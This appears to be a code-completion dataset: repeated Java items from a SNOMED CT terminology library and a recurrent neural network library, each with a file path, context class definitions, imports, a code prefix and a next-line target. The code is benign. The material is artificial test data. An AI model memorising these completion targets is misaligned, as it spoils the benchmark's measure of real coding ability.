SET_ID = new Property<Long>("setId"); public static final Property<Integer> TYPE = new Property<Integer>("type");
public static final Property<List<CrossMapTable>> TABLES = new Property<List<CrossMapTable>>("tables");
wardle/rsterminology
rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/cayenne/CayenneUtility.java // public class CayenneUtility { // // /** // * A very simple helper method to iterate through a select query showing progress. // * Most useful in a command line utility. // */ // public static <T> void timedBatchIterator(ObjectContext context, SelectQuery<T> query, int batchSize, long count, Consumer<List<T>> forEach) { // long i = 1; // long batches = (count / batchSize) + (count % batchSize > 0 ? 1 : 0); // long estimated = 0; // System.out.println("Processing " + count + ((batches == 0) ? "" : (" in " + batches + " batches..."))); // long start = System.currentTimeMillis(); // try (ResultBatchIterator<T> iterator = query.batchIterator(context, batchSize)) { // for(List<T> batch : iterator) { // System.out.print("\rProcessing batch " + i + "/" + batches + (estimated == 0 ? "" : " Remaining: ~" + estimated / 60000 + " min ")); // forEach.accept(batch); // i++; // long elapsed = System.currentTimeMillis() - start; // estimated = (batches - i) * elapsed / i; // } // } // long duration = System.currentTimeMillis() - start; // System.out.println("\nFinished processing : " + count + " Total time:" + duration / 60000 + " minutes"); // } // // }
import java.util.Collections; import java.util.HashMap; import java.util.List; import org.apache.cayenne.ObjectContext; import org.apache.cayenne.map.SQLResult; import org.apache.cayenne.query.EJBQLQuery; import org.apache.cayenne.query.SQLTemplate; import org.apache.cayenne.query.SelectQuery; import com.eldrix.terminology.cayenne.CayenneUtility;
query.setFetchingDataRows(true); return query; } /** * Return the recursive parents for the given concept. * @param context * @param conceptId * @return */ public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) { SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId); SQLResult resultDescriptor = new SQLResult(); resultDescriptor.addColumnResult("concept_id"); query.setResult(resultDescriptor); @SuppressWarnings("unchecked") List<Long> result = context.performQuery(query); return result; } /** * Build the cached parent concept cache. * This will naturally take a considerable amount of time to process and it is suggested that this be run * within a background task. */ public static void buildParentCache(ObjectContext context) { EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c"); @SuppressWarnings("unchecked") long count = ((List<Long>) context.performQuery(countQuery)).get(0); SelectQuery<Concept> query = SelectQuery.query(Concept.class); System.out.println("Building parent cache...");
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/cayenne/CayenneUtility.java // public class CayenneUtility { // // /** // * A very simple helper method to iterate through a select query showing progress. // * Most useful in a command line utility. // */ // public static <T> void timedBatchIterator(ObjectContext context, SelectQuery<T> query, int batchSize, long count, Consumer<List<T>> forEach) { // long i = 1; // long batches = (count / batchSize) + (count % batchSize > 0 ? 1 : 0); // long estimated = 0; // System.out.println("Processing " + count + ((batches == 0) ? "" : (" in " + batches + " batches..."))); // long start = System.currentTimeMillis(); // try (ResultBatchIterator<T> iterator = query.batchIterator(context, batchSize)) { // for(List<T> batch : iterator) { // System.out.print("\rProcessing batch " + i + "/" + batches + (estimated == 0 ? "" : " Remaining: ~" + estimated / 60000 + " min ")); // forEach.accept(batch); // i++; // long elapsed = System.currentTimeMillis() - start; // estimated = (batches - i) * elapsed / i; // } // } // long duration = System.currentTimeMillis() - start; // System.out.println("\nFinished processing : " + count + " Total time:" + duration / 60000 + " minutes"); // } // // } // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java import java.util.Collections; import java.util.HashMap; import java.util.List; import org.apache.cayenne.ObjectContext; import org.apache.cayenne.map.SQLResult; import org.apache.cayenne.query.EJBQLQuery; import org.apache.cayenne.query.SQLTemplate; import org.apache.cayenne.query.SelectQuery; import com.eldrix.terminology.cayenne.CayenneUtility; query.setFetchingDataRows(true); return query; } /** * Return the recursive parents for the given concept. * @param context * @param conceptId * @return */ public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) { SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId); SQLResult resultDescriptor = new SQLResult(); resultDescriptor.addColumnResult("concept_id"); query.setResult(resultDescriptor); @SuppressWarnings("unchecked") List<Long> result = context.performQuery(query); return result; } /** * Build the cached parent concept cache. * This will naturally take a considerable amount of time to process and it is suggested that this be run * within a background task. */ public static void buildParentCache(ObjectContext context) { EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c"); @SuppressWarnings("unchecked") long count = ((List<Long>) context.performQuery(countQuery)).get(0); SelectQuery<Concept> query = SelectQuery.query(Concept.class); System.out.println("Building parent cache...");
CayenneUtility.timedBatchIterator(context, query, BATCH_SIZE, count, (concepts) -> {
wardle/rsterminology
rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java // public interface ResultItem { // public String getTerm(); // public long getConceptId(); // public String getPreferredTerm(); // } // // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java // public enum Category { // SNOMED_CT_ROOT(138875005L), // DISEASE(64572001L), // CLINICAL_FINDING(404684003L), // PROCEDURE(71388002L), // PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L); // public final long conceptId; // Category(long conceptId) { // this.conceptId = conceptId; // } // }
import static org.junit.Assert.*; import java.io.IOException; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.stream.Collectors; import org.apache.cayenne.ObjectContext; import org.apache.cayenne.configuration.server.ServerRuntime; import org.apache.cayenne.query.ObjectSelect; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; import com.eldrix.terminology.snomedct.Search.ResultItem; import com.eldrix.terminology.snomedct.semantic.Category;
package com.eldrix.terminology.snomedct; public class TestProject { static ServerRuntime _runtime; public ServerRuntime getRuntime() { return _runtime; } @BeforeClass public static void setUp() throws Exception { _runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build(); } @AfterClass public static void tearDown() throws Exception { _runtime.shutdown(); } @Test public void testFetchProject() throws IOException { ObjectContext context = getRuntime().newContext(); final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS"; Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context); assertEquals(ACUTE_PAEDS_NAME, p.getName()); // how many projects? long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context); assertNotEquals(0, numberProjects); // calculate a list of common concepts manually rather than in a single fetch HashSet<Concept> common = new HashSet<Concept>(); p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts())); // and now perform a filtered search... Search search = Search.getInstance();
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java // public interface ResultItem { // public String getTerm(); // public long getConceptId(); // public String getPreferredTerm(); // } // // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java // public enum Category { // SNOMED_CT_ROOT(138875005L), // DISEASE(64572001L), // CLINICAL_FINDING(404684003L), // PROCEDURE(71388002L), // PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L); // public final long conceptId; // Category(long conceptId) { // this.conceptId = conceptId; // } // } // Path: rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java import static org.junit.Assert.*; import java.io.IOException; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.stream.Collectors; import org.apache.cayenne.ObjectContext; import org.apache.cayenne.configuration.server.ServerRuntime; import org.apache.cayenne.query.ObjectSelect; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; import com.eldrix.terminology.snomedct.Search.ResultItem; import com.eldrix.terminology.snomedct.semantic.Category; package com.eldrix.terminology.snomedct; public class TestProject { static ServerRuntime _runtime; public ServerRuntime getRuntime() { return _runtime; } @BeforeClass public static void setUp() throws Exception { _runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build(); } @AfterClass public static void tearDown() throws Exception { _runtime.shutdown(); } @Test public void testFetchProject() throws IOException { ObjectContext context = getRuntime().newContext(); final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS"; Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context); assertEquals(ACUTE_PAEDS_NAME, p.getName()); // how many projects? long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context); assertNotEquals(0, numberProjects); // calculate a list of common concepts manually rather than in a single fetch HashSet<Concept> common = new HashSet<Concept>(); p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts())); // and now perform a filtered search... Search search = Search.getInstance();
List<ResultItem> result = new Search.Request.Builder(search)
wardle/rsterminology
rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java // public interface ResultItem { // public String getTerm(); // public long getConceptId(); // public String getPreferredTerm(); // } // // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java // public enum Category { // SNOMED_CT_ROOT(138875005L), // DISEASE(64572001L), // CLINICAL_FINDING(404684003L), // PROCEDURE(71388002L), // PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L); // public final long conceptId; // Category(long conceptId) { // this.conceptId = conceptId; // } // }
import static org.junit.Assert.*; import java.io.IOException; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.stream.Collectors; import org.apache.cayenne.ObjectContext; import org.apache.cayenne.configuration.server.ServerRuntime; import org.apache.cayenne.query.ObjectSelect; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; import com.eldrix.terminology.snomedct.Search.ResultItem; import com.eldrix.terminology.snomedct.semantic.Category;
package com.eldrix.terminology.snomedct; public class TestProject { static ServerRuntime _runtime; public ServerRuntime getRuntime() { return _runtime; } @BeforeClass public static void setUp() throws Exception { _runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build(); } @AfterClass public static void tearDown() throws Exception { _runtime.shutdown(); } @Test public void testFetchProject() throws IOException { ObjectContext context = getRuntime().newContext(); final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS"; Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context); assertEquals(ACUTE_PAEDS_NAME, p.getName()); // how many projects? long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context); assertNotEquals(0, numberProjects); // calculate a list of common concepts manually rather than in a single fetch HashSet<Concept> common = new HashSet<Concept>(); p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts())); // and now perform a filtered search... Search search = Search.getInstance(); List<ResultItem> result = new Search.Request.Builder(search) .search("bronchio").onlyActive().withoutFullySpecifiedNames()
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java // public interface ResultItem { // public String getTerm(); // public long getConceptId(); // public String getPreferredTerm(); // } // // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java // public enum Category { // SNOMED_CT_ROOT(138875005L), // DISEASE(64572001L), // CLINICAL_FINDING(404684003L), // PROCEDURE(71388002L), // PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L); // public final long conceptId; // Category(long conceptId) { // this.conceptId = conceptId; // } // } // Path: rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java import static org.junit.Assert.*; import java.io.IOException; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.stream.Collectors; import org.apache.cayenne.ObjectContext; import org.apache.cayenne.configuration.server.ServerRuntime; import org.apache.cayenne.query.ObjectSelect; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; import com.eldrix.terminology.snomedct.Search.ResultItem; import com.eldrix.terminology.snomedct.semantic.Category; package com.eldrix.terminology.snomedct; public class TestProject { static ServerRuntime _runtime; public ServerRuntime getRuntime() { return _runtime; } @BeforeClass public static void setUp() throws Exception { _runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build(); } @AfterClass public static void tearDown() throws Exception { _runtime.shutdown(); } @Test public void testFetchProject() throws IOException { ObjectContext context = getRuntime().newContext(); final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS"; Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context); assertEquals(ACUTE_PAEDS_NAME, p.getName()); // how many projects? long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context); assertNotEquals(0, numberProjects); // calculate a list of common concepts manually rather than in a single fetch HashSet<Concept> common = new HashSet<Concept>(); p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts())); // and now perform a filtered search... Search search = Search.getInstance(); List<ResultItem> result = new Search.Request.Builder(search) .search("bronchio").onlyActive().withoutFullySpecifiedNames()
.withRecursiveParent(Category.DISEASE.conceptId).build()
evolvingstuff/RecurrentJava
src/loss/LossArgMax.java
// Path: src/matrix/Matrix.java // public class Matrix implements Serializable { // // private static final long serialVersionUID = 1L; // public int rows; // public int cols; // public double[] w; // public double[] dw; // public double[] stepCache; // // @Override // public String toString() { // String result = ""; // for (int r = 0; r < rows; r++) { // for (int c = 0; c < cols; c++) { // result += String.format("%.4f",getW(r, c)) + "\t"; // } // result += "\n"; // } // return result; // } // // public Matrix clone() { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < w.length; i++) { // result.w[i] = w[i]; // result.dw[i] = dw[i]; // result.stepCache[i] = stepCache[i]; // } // return result; // } // // public void resetDw() { // for (int i = 0; i < dw.length; i++) { // dw[i] = 0; // } // } // // public void resetStepCache() { // for (int i = 0; i < stepCache.length; i++) { // stepCache[i] = 0; // } // } // // public static Matrix transpose(Matrix m) { // Matrix result = new Matrix(m.cols, m.rows); // for (int r = 0; r < m.rows; r++) { // for (int c = 0; c < m.cols; c++) { // result.setW(c, r, m.getW(r, c)); // } // } // return result; // } // // public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = rng.nextGaussian() * initParamsStdDev; // } // return result; // } // // public static Matrix ident(int dim) { // Matrix result = new Matrix(dim, dim); // for (int i = 0; i < dim; i++) { // result.setW(i, i, 1.0); // } // return result; // } // // public static Matrix uniform(int rows, int cols, double s) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = s; // } // return result; // } // // public static Matrix ones(int rows, int cols) { // return uniform(rows, cols, 1.0); // } // // public static Matrix negones(int rows, int cols) { // return uniform(rows, cols, -1.0); // } // // public Matrix(int dim) { // this.rows = dim; // this.cols = 1; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(int rows, int cols) { // this.rows = rows; // this.cols = cols; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(double[] vector) { // this.rows = vector.length; // this.cols = 1; // this.w = vector; // this.dw = new double[vector.length]; // this.stepCache = new double[vector.length]; // } // // private int index(int row, int col) { // int ix = cols * row + col; // return ix; // } // // private double getW(int row, int col) { // return w[index(row, col)]; // } // // private void setW(int row, int col, double val) { // w[index(row, col)] = val; // } // }
import matrix.Matrix;
package loss; public class LossArgMax implements Loss { /** * */ private static final long serialVersionUID = 1L; @Override
// Path: src/matrix/Matrix.java // public class Matrix implements Serializable { // // private static final long serialVersionUID = 1L; // public int rows; // public int cols; // public double[] w; // public double[] dw; // public double[] stepCache; // // @Override // public String toString() { // String result = ""; // for (int r = 0; r < rows; r++) { // for (int c = 0; c < cols; c++) { // result += String.format("%.4f",getW(r, c)) + "\t"; // } // result += "\n"; // } // return result; // } // // public Matrix clone() { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < w.length; i++) { // result.w[i] = w[i]; // result.dw[i] = dw[i]; // result.stepCache[i] = stepCache[i]; // } // return result; // } // // public void resetDw() { // for (int i = 0; i < dw.length; i++) { // dw[i] = 0; // } // } // // public void resetStepCache() { // for (int i = 0; i < stepCache.length; i++) { // stepCache[i] = 0; // } // } // // public static Matrix transpose(Matrix m) { // Matrix result = new Matrix(m.cols, m.rows); // for (int r = 0; r < m.rows; r++) { // for (int c = 0; c < m.cols; c++) { // result.setW(c, r, m.getW(r, c)); // } // } // return result; // } // // public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = rng.nextGaussian() * initParamsStdDev; // } // return result; // } // // public static Matrix ident(int dim) { // Matrix result = new Matrix(dim, dim); // for (int i = 0; i < dim; i++) { // result.setW(i, i, 1.0); // } // return result; // } // // public static Matrix uniform(int rows, int cols, double s) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = s; // } // return result; // } // // public static Matrix ones(int rows, int cols) { // return uniform(rows, cols, 1.0); // } // // public static Matrix negones(int rows, int cols) { // return uniform(rows, cols, -1.0); // } // // public Matrix(int dim) { // this.rows = dim; // this.cols = 1; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(int rows, int cols) { // this.rows = rows; // this.cols = cols; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(double[] vector) { // this.rows = vector.length; // this.cols = 1; // this.w = vector; // this.dw = new double[vector.length]; // this.stepCache = new double[vector.length]; // } // // private int index(int row, int col) { // int ix = cols * row + col; // return ix; // } // // private double getW(int row, int col) { // return w[index(row, col)]; // } // // private void setW(int row, int col, double val) { // w[index(row, col)] = val; // } // } // Path: src/loss/LossArgMax.java import matrix.Matrix; package loss; public class LossArgMax implements Loss { /** * */ private static final long serialVersionUID = 1L; @Override
public void backward(Matrix actualOutput, Matrix targetOutput) throws Exception {
evolvingstuff/RecurrentJava
src/datastructs/DataStep.java
// Path: src/matrix/Matrix.java // public class Matrix implements Serializable { // // private static final long serialVersionUID = 1L; // public int rows; // public int cols; // public double[] w; // public double[] dw; // public double[] stepCache; // // @Override // public String toString() { // String result = ""; // for (int r = 0; r < rows; r++) { // for (int c = 0; c < cols; c++) { // result += String.format("%.4f",getW(r, c)) + "\t"; // } // result += "\n"; // } // return result; // } // // public Matrix clone() { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < w.length; i++) { // result.w[i] = w[i]; // result.dw[i] = dw[i]; // result.stepCache[i] = stepCache[i]; // } // return result; // } // // public void resetDw() { // for (int i = 0; i < dw.length; i++) { // dw[i] = 0; // } // } // // public void resetStepCache() { // for (int i = 0; i < stepCache.length; i++) { // stepCache[i] = 0; // } // } // // public static Matrix transpose(Matrix m) { // Matrix result = new Matrix(m.cols, m.rows); // for (int r = 0; r < m.rows; r++) { // for (int c = 0; c < m.cols; c++) { // result.setW(c, r, m.getW(r, c)); // } // } // return result; // } // // public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = rng.nextGaussian() * initParamsStdDev; // } // return result; // } // // public static Matrix ident(int dim) { // Matrix result = new Matrix(dim, dim); // for (int i = 0; i < dim; i++) { // result.setW(i, i, 1.0); // } // return result; // } // // public static Matrix uniform(int rows, int cols, double s) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = s; // } // return result; // } // // public static Matrix ones(int rows, int cols) { // return uniform(rows, cols, 1.0); // } // // public static Matrix negones(int rows, int cols) { // return uniform(rows, cols, -1.0); // } // // public Matrix(int dim) { // this.rows = dim; // this.cols = 1; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(int rows, int cols) { // this.rows = rows; // this.cols = cols; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(double[] vector) { // this.rows = vector.length; // this.cols = 1; // this.w = vector; // this.dw = new double[vector.length]; // this.stepCache = new double[vector.length]; // } // // private int index(int row, int col) { // int ix = cols * row + col; // return ix; // } // // private double getW(int row, int col) { // return w[index(row, col)]; // } // // private void setW(int row, int col, double val) { // w[index(row, col)] = val; // } // }
import java.io.Serializable; import matrix.Matrix;
package datastructs; public class DataStep implements Serializable { private static final long serialVersionUID = 1L;
// Path: src/matrix/Matrix.java // public class Matrix implements Serializable { // // private static final long serialVersionUID = 1L; // public int rows; // public int cols; // public double[] w; // public double[] dw; // public double[] stepCache; // // @Override // public String toString() { // String result = ""; // for (int r = 0; r < rows; r++) { // for (int c = 0; c < cols; c++) { // result += String.format("%.4f",getW(r, c)) + "\t"; // } // result += "\n"; // } // return result; // } // // public Matrix clone() { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < w.length; i++) { // result.w[i] = w[i]; // result.dw[i] = dw[i]; // result.stepCache[i] = stepCache[i]; // } // return result; // } // // public void resetDw() { // for (int i = 0; i < dw.length; i++) { // dw[i] = 0; // } // } // // public void resetStepCache() { // for (int i = 0; i < stepCache.length; i++) { // stepCache[i] = 0; // } // } // // public static Matrix transpose(Matrix m) { // Matrix result = new Matrix(m.cols, m.rows); // for (int r = 0; r < m.rows; r++) { // for (int c = 0; c < m.cols; c++) { // result.setW(c, r, m.getW(r, c)); // } // } // return result; // } // // public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = rng.nextGaussian() * initParamsStdDev; // } // return result; // } // // public static Matrix ident(int dim) { // Matrix result = new Matrix(dim, dim); // for (int i = 0; i < dim; i++) { // result.setW(i, i, 1.0); // } // return result; // } // // public static Matrix uniform(int rows, int cols, double s) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = s; // } // return result; // } // // public static Matrix ones(int rows, int cols) { // return uniform(rows, cols, 1.0); // } // // public static Matrix negones(int rows, int cols) { // return uniform(rows, cols, -1.0); // } // // public Matrix(int dim) { // this.rows = dim; // this.cols = 1; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(int rows, int cols) { // this.rows = rows; // this.cols = cols; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(double[] vector) { // this.rows = vector.length; // this.cols = 1; // this.w = vector; // this.dw = new double[vector.length]; // this.stepCache = new double[vector.length]; // } // // private int index(int row, int col) { // int ix = cols * row + col; // return ix; // } // // private double getW(int row, int col) { // return w[index(row, col)]; // } // // private void setW(int row, int col, double val) { // w[index(row, col)] = val; // } // } // Path: src/datastructs/DataStep.java import java.io.Serializable; import matrix.Matrix; package datastructs; public class DataStep implements Serializable { private static final long serialVersionUID = 1L;
public Matrix input = null;
evolvingstuff/RecurrentJava
src/loss/LossMultiDimensionalBinary.java
// Path: src/matrix/Matrix.java // public class Matrix implements Serializable { // // private static final long serialVersionUID = 1L; // public int rows; // public int cols; // public double[] w; // public double[] dw; // public double[] stepCache; // // @Override // public String toString() { // String result = ""; // for (int r = 0; r < rows; r++) { // for (int c = 0; c < cols; c++) { // result += String.format("%.4f",getW(r, c)) + "\t"; // } // result += "\n"; // } // return result; // } // // public Matrix clone() { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < w.length; i++) { // result.w[i] = w[i]; // result.dw[i] = dw[i]; // result.stepCache[i] = stepCache[i]; // } // return result; // } // // public void resetDw() { // for (int i = 0; i < dw.length; i++) { // dw[i] = 0; // } // } // // public void resetStepCache() { // for (int i = 0; i < stepCache.length; i++) { // stepCache[i] = 0; // } // } // // public static Matrix transpose(Matrix m) { // Matrix result = new Matrix(m.cols, m.rows); // for (int r = 0; r < m.rows; r++) { // for (int c = 0; c < m.cols; c++) { // result.setW(c, r, m.getW(r, c)); // } // } // return result; // } // // public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = rng.nextGaussian() * initParamsStdDev; // } // return result; // } // // public static Matrix ident(int dim) { // Matrix result = new Matrix(dim, dim); // for (int i = 0; i < dim; i++) { // result.setW(i, i, 1.0); // } // return result; // } // // public static Matrix uniform(int rows, int cols, double s) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = s; // } // return result; // } // // public static Matrix ones(int rows, int cols) { // return uniform(rows, cols, 1.0); // } // // public static Matrix negones(int rows, int cols) { // return uniform(rows, cols, -1.0); // } // // public Matrix(int dim) { // this.rows = dim; // this.cols = 1; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(int rows, int cols) { // this.rows = rows; // this.cols = cols; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(double[] vector) { // this.rows = vector.length; // this.cols = 1; // this.w = vector; // this.dw = new double[vector.length]; // this.stepCache = new double[vector.length]; // } // // private int index(int row, int col) { // int ix = cols * row + col; // return ix; // } // // private double getW(int row, int col) { // return w[index(row, col)]; // } // // private void setW(int row, int col, double val) { // w[index(row, col)] = val; // } // }
import matrix.Matrix;
package loss; public class LossMultiDimensionalBinary implements Loss { /** * */ private static final long serialVersionUID = 1L; @Override
// Path: src/matrix/Matrix.java // public class Matrix implements Serializable { // // private static final long serialVersionUID = 1L; // public int rows; // public int cols; // public double[] w; // public double[] dw; // public double[] stepCache; // // @Override // public String toString() { // String result = ""; // for (int r = 0; r < rows; r++) { // for (int c = 0; c < cols; c++) { // result += String.format("%.4f",getW(r, c)) + "\t"; // } // result += "\n"; // } // return result; // } // // public Matrix clone() { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < w.length; i++) { // result.w[i] = w[i]; // result.dw[i] = dw[i]; // result.stepCache[i] = stepCache[i]; // } // return result; // } // // public void resetDw() { // for (int i = 0; i < dw.length; i++) { // dw[i] = 0; // } // } // // public void resetStepCache() { // for (int i = 0; i < stepCache.length; i++) { // stepCache[i] = 0; // } // } // // public static Matrix transpose(Matrix m) { // Matrix result = new Matrix(m.cols, m.rows); // for (int r = 0; r < m.rows; r++) { // for (int c = 0; c < m.cols; c++) { // result.setW(c, r, m.getW(r, c)); // } // } // return result; // } // // public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = rng.nextGaussian() * initParamsStdDev; // } // return result; // } // // public static Matrix ident(int dim) { // Matrix result = new Matrix(dim, dim); // for (int i = 0; i < dim; i++) { // result.setW(i, i, 1.0); // } // return result; // } // // public static Matrix uniform(int rows, int cols, double s) { // Matrix result = new Matrix(rows, cols); // for (int i = 0; i < result.w.length; i++) { // result.w[i] = s; // } // return result; // } // // public static Matrix ones(int rows, int cols) { // return uniform(rows, cols, 1.0); // } // // public static Matrix negones(int rows, int cols) { // return uniform(rows, cols, -1.0); // } // // public Matrix(int dim) { // this.rows = dim; // this.cols = 1; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(int rows, int cols) { // this.rows = rows; // this.cols = cols; // this.w = new double[rows * cols]; // this.dw = new double[rows * cols]; // this.stepCache = new double[rows * cols]; // } // // public Matrix(double[] vector) { // this.rows = vector.length; // this.cols = 1; // this.w = vector; // this.dw = new double[vector.length]; // this.stepCache = new double[vector.length]; // } // // private int index(int row, int col) { // int ix = cols * row + col; // return ix; // } // // private double getW(int row, int col) { // return w[index(row, col)]; // } // // private void setW(int row, int col, double val) { // w[index(row, col)] = val; // } // } // Path: src/loss/LossMultiDimensionalBinary.java import matrix.Matrix; package loss; public class LossMultiDimensionalBinary implements Loss { /** * */ private static final long serialVersionUID = 1L; @Override
public void backward(Matrix actualOutput, Matrix targetOutput) throws Exception {
evolvingstuff/RecurrentJava
src/datastructs/DataSet.java
// Path: src/loss/Loss.java // public interface Loss extends Serializable { // void backward(Matrix actualOutput, Matrix targetOutput) throws Exception; // double measure(Matrix actualOutput, Matrix targetOutput) throws Exception; // } // // Path: src/model/Model.java // public interface Model extends Serializable { // Matrix forward(Matrix input, Graph g) throws Exception; // void resetState(); // List<Matrix> getParameters(); // }
import java.io.Serializable; import java.util.List; import java.util.Random; import loss.Loss; import model.Model; import model.Nonlinearity;
package datastructs; public abstract class DataSet implements Serializable { public int inputDimension; public int outputDimension;
// Path: src/loss/Loss.java // public interface Loss extends Serializable { // void backward(Matrix actualOutput, Matrix targetOutput) throws Exception; // double measure(Matrix actualOutput, Matrix targetOutput) throws Exception; // } // // Path: src/model/Model.java // public interface Model extends Serializable { // Matrix forward(Matrix input, Graph g) throws Exception; // void resetState(); // List<Matrix> getParameters(); // } // Path: src/datastructs/DataSet.java import java.io.Serializable; import java.util.List; import java.util.Random; import loss.Loss; import model.Model; import model.Nonlinearity; package datastructs; public abstract class DataSet implements Serializable { public int inputDimension; public int outputDimension;
public Loss lossTraining;
evolvingstuff/RecurrentJava
src/datastructs/DataSet.java
// Path: src/loss/Loss.java // public interface Loss extends Serializable { // void backward(Matrix actualOutput, Matrix targetOutput) throws Exception; // double measure(Matrix actualOutput, Matrix targetOutput) throws Exception; // } // // Path: src/model/Model.java // public interface Model extends Serializable { // Matrix forward(Matrix input, Graph g) throws Exception; // void resetState(); // List<Matrix> getParameters(); // }
import java.io.Serializable; import java.util.List; import java.util.Random; import loss.Loss; import model.Model; import model.Nonlinearity;
package datastructs; public abstract class DataSet implements Serializable { public int inputDimension; public int outputDimension; public Loss lossTraining; public Loss lossReporting; public List<DataSequence> training; public List<DataSequence> validation; public List<DataSequence> testing;
